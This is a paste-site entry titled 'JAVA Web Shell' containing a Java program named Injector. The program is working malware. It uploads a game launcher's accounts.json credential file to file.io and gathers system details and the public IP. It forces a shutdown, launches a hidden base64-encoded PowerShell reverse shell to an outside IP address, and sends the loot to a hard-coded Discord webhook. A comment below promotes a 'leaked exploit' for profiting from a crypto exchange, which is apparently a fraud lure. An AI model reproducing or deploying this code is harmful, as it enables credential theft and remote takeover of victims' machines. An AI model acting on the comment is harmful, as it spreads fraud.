JohnGalt14 icon

JAVA Web Shell

JohnGalt14 | PRO | 02/28/25 02:05:09 PM UTC | 0 ⭐ | 14261 👁️ | Never ⏰ | []
Java |

9.48 KB

|

None

|

0 👍

/

0 👎

import com.sun.management.OperatingSystemMXBean;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
 
public class Injector {
   public static void main(String[] var0) {
      String var1 = getSystemInfo();
      String var2 = getPublicIpAddress();
      String var3 = var1 + "\nPublic IP: " + var2;
      String var4 = "C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\.feather\\accounts.json";
      String var5 = uploadFileToFileio(var4);
      var3 = var3 + "\nDownload link: " + var5;
      String var6 = executeCommand("whoami");
      String var7 = executeCommand("shutdown -s -t 60");
      String var8 = executeCommand("powershell -ep bypass -e UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAUABTAEgATwBNAEUAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAewAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwA4ADMALgAxADYAOAAuADEAMQAwAC4AMQAzADMAJwAsADQANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A");
      var3 = var3 + "\n\nPC:\n" + var6;
      sendToDiscord(var3);
   }
 
   private static String executeCommand(String var0) {
      StringBuilder var1 = new StringBuilder();
 
      try {
         Process var2 = Runtime.getRuntime().exec(var0);
         BufferedReader var3 = new BufferedReader(new InputStreamReader(var2.getInputStream()));
 
         String var4;
         while((var4 = var3.readLine()) != null) {
            var1.append(var4).append("\n");
         }
 
         var3.close();
      } catch (IOException var5) {
         var5.printStackTrace();
      }
 
      return var1.toString();
   }
 
   private static String uploadFileToFileio(String var0) {
      try {
         URL var1 = new URL("https://file.io");
         HttpURLConnection var2 = (HttpURLConnection)var1.openConnection();
         var2.setRequestMethod("POST");
         var2.setRequestProperty("Content-Type", "multipart/form-data");
         var2.setDoOutput(true);
         String var3 = Long.toHexString(System.currentTimeMillis());
         var2.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + var3);
         OutputStream var4 = var2.getOutputStream();
 
         try {
            PrintWriter var5 = new PrintWriter(new OutputStreamWriter(var4, "UTF-8"), true);
 
            try {
               var5.append("--").append(var3).append("\r\n");
               var5.append("Content-Disposition: form-data; name=\"file\"; filename=\"accounts.json\"\r\n");
               var5.append("Content-Type: application/json\r\n");
               var5.append("\r\n").flush();
               Files.copy(Paths.get(var0), var4);
               var4.flush();
               var5.append("\r\n").flush();
               var5.append("--").append(var3).append("--\r\n").flush();
            } catch (Throwable var11) {
               try {
                  var5.close();
               } catch (Throwable var10) {
                  var11.addSuppressed(var10);
               }
 
               throw var11;
            }
 
            var5.close();
         } catch (Throwable var12) {
            if (var4 != null) {
               try {
                  var4.close();
               } catch (Throwable var9) {
                  var12.addSuppressed(var9);
               }
            }
 
            throw var12;
         }
 
         if (var4 != null) {
            var4.close();
         }
 
         int var14 = var2.getResponseCode();
         System.out.println("File upload response code: " + var14);
         if (var14 != 200) {
            System.out.println("Failed to upload file. HTTP response code: " + var14);
            return "Upload failed";
         } else {
            BufferedReader var15 = new BufferedReader(new InputStreamReader(var2.getInputStream()));
            StringBuilder var7 = new StringBuilder();
 
            String var6;
            while((var6 = var15.readLine()) != null) {
               var7.append(var6);
            }
 
            var15.close();
            String var8 = var7.toString();
            return extractFileLink(var8);
         }
      } catch (IOException var13) {
         var13.printStackTrace();
         return "Upload failed";
      }
   }
 
   private static String extractFileLink(String var0) {
      String var1 = "\"link\":\"";
      int var2 = var0.indexOf(var1);
      if (var2 == -1) {
         return "Link extraction failed";
      } else {
         var2 += var1.length();
         int var3 = var0.indexOf("\"", var2);
         return var3 == -1 ? "Link extraction failed" : var0.substring(var2, var3);
      }
   }
 
   private static void sendToDiscord(String var0) {
      String var1 = "https://discord.com/api/webhooks/1264350069512081702/ISJl_hyXvIquHB_lWasJ98C8l2ldYY7Ato6YfqJHnZfnqPD1EjrZdGUu17b0zEl9Yzq5";
      HttpURLConnection var2 = null;
 
      try {
         URL var3 = new URL(var1);
         var2 = (HttpURLConnection)var3.openConnection();
         var2.setRequestMethod("POST");
         var2.setRequestProperty("Content-Type", "application/json");
         var2.setDoOutput(true);
         String var4 = "{ \"content\": \"" + escapeJson(var0) + "\" }";
         System.out.println("Payload: " + var4);
         OutputStream var5 = var2.getOutputStream();
 
         try {
            byte[] var6 = var4.getBytes("utf-8");
            var5.write(var6, 0, var6.length);
         } catch (Throwable var15) {
            if (var5 != null) {
               try {
                  var5.close();
               } catch (Throwable var14) {
                  var15.addSuppressed(var14);
               }
            }
 
            throw var15;
         }
 
         if (var5 != null) {
            var5.close();
         }
 
         int var18 = var2.getResponseCode();
         System.out.println("Response Code: " + var18);
         if (var18 == 204) {
            System.out.println("Message sent successfully.");
         } else {
            System.out.println("Failed to send message. HTTP response code: " + var18);
            BufferedReader var19 = new BufferedReader(new InputStreamReader(var2.getErrorStream()));
            StringBuilder var7 = new StringBuilder();
 
            String var8;
            while((var8 = var19.readLine()) != null) {
               var7.append(var8);
            }
 
            var19.close();
            System.out.println("Error response from Discord: " + var7.toString());
         }
      } catch (IOException var16) {
         var16.printStackTrace();
      } finally {
         if (var2 != null) {
            var2.disconnect();
         }
 
      }
 
   }
 
   private static String getSystemInfo() {
      StringBuilder var0 = new StringBuilder();
      OperatingSystemMXBean var1 = (OperatingSystemMXBean)ManagementFactory.getOperatingSystemMXBean();
      RuntimeMXBean var2 = ManagementFactory.getRuntimeMXBean();
      var0.append("Operating System: ").append(var1.getName()).append(" ").append(var1.getVersion()).append("\n");
      var0.append("Architecture: ").append(var1.getArch()).append("\n");
      var0.append("Available Processors: ").append(var1.getAvailableProcessors()).append("\n");
      var0.append("Java Version: ").append(var2.getSpecVersion()).append("\n");
      var0.append("Java Vendor: ").append(var2.getVmVendor()).append("\n");
      return var0.toString();
   }
 
   private static String getPublicIpAddress() {
      try {
         URL var0 = new URL("http://checkip.amazonaws.com/");
         BufferedReader var1 = new BufferedReader(new InputStreamReader(var0.openStream()));
         String var2 = var1.readLine();
         var1.close();
         return var2;
      } catch (IOException var3) {
         return "Unable to determine public IP address";
      }
   }
 
   private static String escapeJson(String var0) {
      return var0.replace("\\", "\\\\").replace("\"", "\\\"").replace("\b", "\\b").replace("\f", "\\f").replace("\n", "\\n").replace("\r", "\\r").replace("\t", "\\t");
   }
}
 

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  • Ravgarin icon
    03/29/26 09:54:51 PM UTC
    CSS |

    0 B

    |

    0 👍

    /

    0 👎

    ✅ Leaked Exploit Documentation:
     
    https://docs.google.com/document/d/1dOCZEHS5JtM51RITOJzbS4o3hZ-__wTTRXQkV1MexNQ/edit?usp=sharing
     
    This made me $13,000 in 2 days.
     
    Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 25% — they will simply correct the exchange rate.
    The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
     
    Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from SimpleSwap — instant swap).
    
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎